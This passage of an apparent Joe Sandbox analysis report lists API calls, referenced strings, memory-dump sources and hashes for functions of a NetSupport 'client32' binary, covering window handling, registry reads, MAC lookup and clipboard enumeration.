GetProcAddress.KERNEL32(?,WTSFreeMemory), ref: 110F73FD
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,?,?,?,00000000,11189DD0,000000FF), ref: 110F7412
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,11189DD0,000000FF), ref: 110F7423
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,?,00000000,11189DD0,000000FF,?,1102A280), ref: 110F7440
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,11189DD0,000000FF,?,1102A280), ref: 110F7451

Strings

WTSQuerySessionInformationA, xrefs: 110F7368
Wtsapi32.dll, xrefs: 110F7328
WTSFreeMemory, xrefs: 110F73BD, 110F73F7

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastLibraryProc$Free$Load
String ID: WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll
API String ID: 2188719708-2019804778
Opcode ID: 8f9cdb94902dff30692c8c6071e3b83f8d748f677524ce08c30458c8737fae8d
Instruction ID: 4e6ae02227e90de241cbe6e1e3770e4d50810e342ffe13a4e1f679076b39a632
Opcode Fuzzy Hash: 8f9cdb94902dff30692c8c6071e3b83f8d748f677524ce08c30458c8737fae8d
Instruction Fuzzy Hash: 49511371D4121AEFDB14DFD9D9C5AAEFBF5FB48300F51846AE829E3600DB34A9018B61

Function 1103F520 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 126windowCOMMON

Download Yara Rule

APIs

Part of subcall function 110CF130: GetDlgItem.USER32(?,000017DD), ref: 110CF18A
Part of subcall function 110CF130: ShowWindow.USER32(00000000,00000000), ref: 110CF1AF
Part of subcall function 110CF130: GetWindowRect.USER32(00000000,?), ref: 110CF1DD
Part of subcall function 110CF130: GetObjectA.GDI32(00000000,0000003C,?), ref: 110CF21D
Part of subcall function 110CF130: GetWindowTextA.USER32(00000000,?,00000100), ref: 110CF276

GetDlgItem.USER32(?,00000472), ref: 1103F557

Part of subcall function 11160450: SetPropA.USER32(00000000,00000000,00000000), ref: 1116046E
Part of subcall function 11160450: SetWindowLongA.USER32(00000000,000000FC,1115FE60), ref: 1116047F

wsprintfA.USER32 ref: 1103F5D1
GetSystemMenu.USER32(?,00000000), ref: 1103F5F6
EnableMenuItem.USER32(00000000,0000F060,00000002), ref: 1103F604
SetWindowPos.USER32(00000000,00000001,00000000,00000000,00000000,00000000,00000003), ref: 1103F663
SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000003), ref: 1103F692
MessageBeep.USER32(00000000), ref: 1103F696

Part of subcall function 111457A0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,11195AD8), ref: 1114580D
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1111025B), ref: 1114584E
Part of subcall function 111457A0: SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 111458AB

Strings

Client, xrefs: 1103F5AD
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 1103F63B, 1103F670
m_hWnd, xrefs: 1103F640, 1103F675
%sblockapp.jpg, xrefs: 1103F5CB
BlockedAppFile, xrefs: 1103F5A8

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Item$FolderMenuPath$BeepEnableFileLongMessageModuleNameObjectPropRectShowSystemTextwsprintf
String ID: %sblockapp.jpg$BlockedAppFile$Client$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1300213680-78349004
Opcode ID: d5c730e152b545e79a5963070a614e137598c0869bf15a99c767d92fa3b08f3b
Instruction ID: 6f07d7162ed8c172429d77206b5c6f615c65d6256772802cbf9fe3e1e633a07a
Opcode Fuzzy Hash: d5c730e152b545e79a5963070a614e137598c0869bf15a99c767d92fa3b08f3b
Instruction Fuzzy Hash: 0641EE757403197FD720DBA4CC86FDAF3A4AB48B08F104568F3666B5C0DAB0B980CB55

Function 6EF07E60 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 105libraryloaderCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6EF07E8D
LoadLibraryA.KERNEL32(iphlpapi.dll,00000000,00000000,00000000,00000010,?,?), ref: 6EF07E9A
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 6EF07EB3
_malloc.LIBCMT ref: 6EF07ED8
_memmove.LIBCMT ref: 6EF07F20
_free.LIBCMT ref: 6EF07F31
FreeLibrary.KERNEL32(00000000), ref: 6EF07F3D
_memmove.LIBCMT ref: 6EF07F5F

Strings

GetAdaptersInfo, xrefs: 6EF07EAD
iphlpapi.dll, xrefs: 6EF07E95
macaddr.cpp, xrefs: 6EF07E73
cbMacAddress == MAX_ADAPTER_ADDRESS_LENGTH, xrefs: 6EF07E78

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: Library_memmove$AddressFreeLoadProc_free_malloc_memset
String ID: GetAdaptersInfo$cbMacAddress == MAX_ADAPTER_ADDRESS_LENGTH$iphlpapi.dll$macaddr.cpp
API String ID: 3275914093-1155488092
Opcode ID: 5a7cf7477d5bcddacc19e6b14b3e753c9155719cda675bcb376aff7d531bf187
Instruction ID: cf25df95dde8a3ee622338c458f0b27936af40f0d9fe3006e90aa90958bd1aaf
Opcode Fuzzy Hash: 5a7cf7477d5bcddacc19e6b14b3e753c9155719cda675bcb376aff7d531bf187
Instruction Fuzzy Hash: AE319EB6E00219ABDB40AEE49CB4DDA776DAF84355F1044A5F918AB2C0E731EE0597E0

Function 1105F200 Relevance: 19.9, APIs: 3, Strings: 10, Instructions: 368COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1105F251
wsprintfA.USER32 ref: 1105F265

Part of subcall function 110ED570: RegCreateKeyExA.ADVAPI32(00000000,0002001F,00000000,00000000,80000001,?,1105F29C,?,00000000,?,00000000,75A78400,?,?,1105F29C,80000001), ref: 110ED59B

Part of subcall function 110ED520: RegOpenKeyExA.KERNEL32(?,00000056,00000000,00020019,?,?,00000000,00000001,?,11030BFF,80000002,SOFTWARE\Policies\NetSupport\Client\standard,00020019,00000056,?,00000050), ref: 110ED53C

wsprintfA.USER32 ref: 1105F5D6

Part of subcall function 110ED180: RegEnumKeyExA.ADVAPI32(?,?,?,00000200,00000000,00000000,00000000,00000000,?,00000000), ref: 110ED1CB

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Part of subcall function 11029A70: _strrchr.LIBCMT ref: 11029B65
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029BA4

Strings

IsA(), xrefs: 1105F3D6, 1105F439, 1105F480, 1105F4CA, 1105F501, 1105F68E, 1105F6DB
NetSupport School Pro, xrefs: 1105F330, 1105F493
General\ProductId, xrefs: 1105F30B, 1105F32B, 1105F3F1, 1105F6A9
%s\%s, xrefs: 1105F245, 1105F25F
Software\Classes\VirtualStore\MACHINE\%s\%s\ConfigList, xrefs: 1105F5D0
Software\NetSupport Ltd, xrefs: 1105F254
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1105F3D1, 1105F434, 1105F47B, 1105F4C5, 1105F4FC, 1105F689, 1105F6D6
ConfigList, xrefs: 1105F2E7, 1105F36C, 1105F628
Software\Productive Computer Insight, xrefs: 1105F238, 1105F5C5
NetSupport School, xrefs: 1105F310, 1105F44C, 1105F4A5

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ExitProcess$CreateEnumErrorLastMessageOpen_strrchr
String ID: %s\%s$ConfigList$General\ProductId$IsA()$NetSupport School$NetSupport School Pro$Software\Classes\VirtualStore\MACHINE\%s\%s\ConfigList$Software\NetSupport Ltd$Software\Productive Computer Insight$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 273891520-33395967
Opcode ID: 144e512998ce06086377d7856f386d7a7ba87abc4e9c3983cefc13e406a89c1b
Instruction ID: 955d7069f5cd37ed2049fe2a08fe06563fb7c7f4ee9c814884e1c508eb43a074
Opcode Fuzzy Hash: 144e512998ce06086377d7856f386d7a7ba87abc4e9c3983cefc13e406a89c1b
Instruction Fuzzy Hash: D2E16079E0122DABDB56DB55CC94FEDB7B8AF58758F4040C8E50977280EA306B84CF61

Function 1100D330 Relevance: 19.6, APIs: 1, Strings: 12, Instructions: 50COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1100D3A1

Strings

CannotGetFunc, xrefs: 1100D35E
AlreadyStopped, xrefs: 1100D36C
CannotLoadDll, xrefs: 1100D350
RequiresVista, xrefs: 1100D349
AlreadyStarted, xrefs: 1100D365
BadParam, xrefs: 1100D381
StillInstances, xrefs: 1100D38F
Unknown error %d, xrefs: 1100D397
NoCapClients, xrefs: 1100D373
DllInitFailed, xrefs: 1100D357
Exception, xrefs: 1100D388, 1100D396
NotFound, xrefs: 1100D37A

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: AlreadyStarted$AlreadyStopped$BadParam$CannotGetFunc$CannotLoadDll$DllInitFailed$Exception$NoCapClients$NotFound$RequiresVista$StillInstances$Unknown error %d
API String ID: 2111968516-2092292787
Opcode ID: 2a27fff999b9e6e65603effbbf8ecb71915a099c4e3576d618f0ecb40c1a2276
Instruction ID: 0653d7d784af80274a32501aa5269da8b209429a0adf8b21c1593ff02ad98824
Opcode Fuzzy Hash: 2a27fff999b9e6e65603effbbf8ecb71915a099c4e3576d618f0ecb40c1a2276
Instruction Fuzzy Hash: 6FF0623268011C8BAE00C7ED74454BEF38D638056D7C8C892F4ADEAF15E91BDCA0E1A5

Function 11069590 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 96sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110695BD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000B,111829B3), ref: 110695D3
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000B,111829B3), ref: 110695E9
Sleep.KERNEL32(00000064,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000B,111829B3), ref: 1106961D
GetTickCount.KERNEL32 ref: 11069621
wsprintfA.USER32 ref: 11069651
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000B,111829B3), ref: 110696A4
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000000B,111829B3), ref: 110696A7

Strings

CloseTransports slept for %u ms, xrefs: 11069630
..\ctl32\Connect.cpp, xrefs: 11069661
idata->n_connections=%d, xrefs: 1106964B

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountEnterLeaveTick$Sleepwsprintf
String ID: ..\ctl32\Connect.cpp$CloseTransports slept for %u ms$idata->n_connections=%d
API String ID: 2285713701-3017572385
Opcode ID: 25aa856050ae0d0953e80f64c861d2d3aec5181f23948552882124df982d781f
Instruction ID: 9542bf7036752d1d59350afec772fc21505b61646605733d71942db81f3d6cc8
Opcode Fuzzy Hash: 25aa856050ae0d0953e80f64c861d2d3aec5181f23948552882124df982d781f
Instruction Fuzzy Hash: 64317A75E0065AAFD714DFB5C984BD9FBE8FB09708F10462AE529D3A44EB34A900CF94

Function 11003010 Relevance: 18.1, APIs: 12, Instructions: 112COMMON

Download Yara Rule

APIs

CreateSolidBrush.GDI32(?), ref: 1100306D
GetStockObject.GDI32(00000007), ref: 11003089
SelectObject.GDI32(?,00000000), ref: 1100309A
SelectObject.GDI32(?,?), ref: 110030A7
InflateRect.USER32(?,000000FC,000000FF), ref: 110030D8
GetSysColor.USER32(00000004), ref: 110030EB
SetBkColor.GDI32(?,00000000), ref: 110030F6
Rectangle.GDI32(?,?,?,?,?), ref: 11003110
SelectObject.GDI32(?,?), ref: 1100311E
SelectObject.GDI32(?,?), ref: 11003128
DeleteObject.GDI32(?), ref: 1100312E

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Object$Select$Color$BrushCreateDeleteInflateRectRectangleSolidStock
String ID:
API String ID: 4121194973-0
Opcode ID: 07505c943f7c904391ce3d31e9dbb197024d6e0b57b5ab35bcc31df3057bc37b
Instruction ID: 33f6d49190b9b24a29b1cc3641f5325a4e922881409c492489886216f2d26618
Opcode Fuzzy Hash: 07505c943f7c904391ce3d31e9dbb197024d6e0b57b5ab35bcc31df3057bc37b
Instruction Fuzzy Hash: 98410AB5A00219AFDB18CFA9D8849AEF7F8FB8C314F104659E96593744DB34A941CBA0

Function 1113F710 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 252COMMON

Download Yara Rule

APIs

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

std::exception::exception.LIBCMT ref: 1113F7AB
__CxxThrowException@8.LIBCMT ref: 1113F7C0
SetPropA.USER32(?,?,00000000), ref: 1113F84E
GetPropA.USER32(?), ref: 1113F85D
wsprintfA.USER32 ref: 1113F88F
RemovePropA.USER32(?), ref: 1113F8C1

Strings

hWnd=%x, uiMsg=x%x, wP=x%x, lP=x%x, xrefs: 1113F889
UI.CPP, xrefs: 1113F811, 1113F832, 1113F8A2
NSMStatsWindow::m_aProp, xrefs: 1113F837

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Prop$wsprintf$Exception@8RemoveThrow_malloc_memsetstd::exception::exception
String ID: NSMStatsWindow::m_aProp$UI.CPP$hWnd=%x, uiMsg=x%x, wP=x%x, lP=x%x
API String ID: 2013984029-1590351400
Opcode ID: e646804ecc7ddf954b9f726e774aae96fceda95ccf96e222f81c043a3edeb97b
Instruction ID: 9c375b31db466058645a4841bcb89a7be01c9296122d1f1adc6750c52d58ca69
Opcode Fuzzy Hash: e646804ecc7ddf954b9f726e774aae96fceda95ccf96e222f81c043a3edeb97b
Instruction Fuzzy Hash: 9071EC76B002299FD714CFA9DD80FAEF7B8FB88315F00416FE54697244DA71A944CBA1

Function 11033050 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 183clipboardCOMMON

Download Yara Rule

APIs

CountClipboardFormats.USER32 ref: 11033091

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Part of subcall function 11110230: _malloc.LIBCMT ref: 11110239
Part of subcall function 11110230: _memset.LIBCMT ref: 11110262

EnumClipboardFormats.USER32(00000000), ref: 110330F6
GetLastError.KERNEL32 ref: 110331BF
GetLastError.KERNEL32(00000000), ref: 110331C2
IsClipboardFormatAvailable.USER32(00000008), ref: 11033225

Strings

ppFormats, xrefs: 11033080
Error enumclip, e=%d, x%x, xrefs: 110331C5
..\ctl32\clipbrd.cpp, xrefs: 1103307B

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClipboardErrorLast$Formats$AvailableCountEnumExitFormatMessageProcess_malloc_memsetwsprintf
String ID: ..\ctl32\clipbrd.cpp$Error enumclip, e=%d, x%x$ppFormats
API String ID: 3210887762-597690070
Opcode ID: 783cfaeac01b76432846342580ba7980eef49404acbb133f97720025ffc7a27a
Instruction ID: b804fa4b4600a3d7d633b164336aeb5b10f9113d5bb37ecf981567cf99ca6661
Opcode Fuzzy Hash: 783cfaeac01b76432846342580ba7980eef49404acbb133f97720025ffc7a27a
Instruction Fuzzy Hash: 02518B75E1822A8FDB10CFA8C8C479DFBB4EB85319F1041AAD859AB341EB719944CF90

Function 11053590 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 162COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(111EE294,EFF676FC,?,?,?,?,00000000,11181BDE), ref: 110535C4
LeaveCriticalSection.KERNEL32(111EE294,00000000,?,?,?,?,00000000,11181BDE), ref: 11053789

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

std::exception::exception.LIBCMT ref: 11053635
__CxxThrowException@8.LIBCMT ref: 1105364A
GetTickCount.KERNEL32 ref: 11053660
std::_Xinvalid_argument.LIBCPMT ref: 11053747
LeaveCriticalSection.KERNEL32(111EE294,list<T> too long,00000000,?,?,?,?,00000000,11181BDE), ref: 11053751

Part of subcall function 110D0A10: _free.LIBCMT ref: 110D0A3D

Strings

IsA(), xrefs: 11053680
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1105367B
list<T> too long, xrefs: 11053742

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
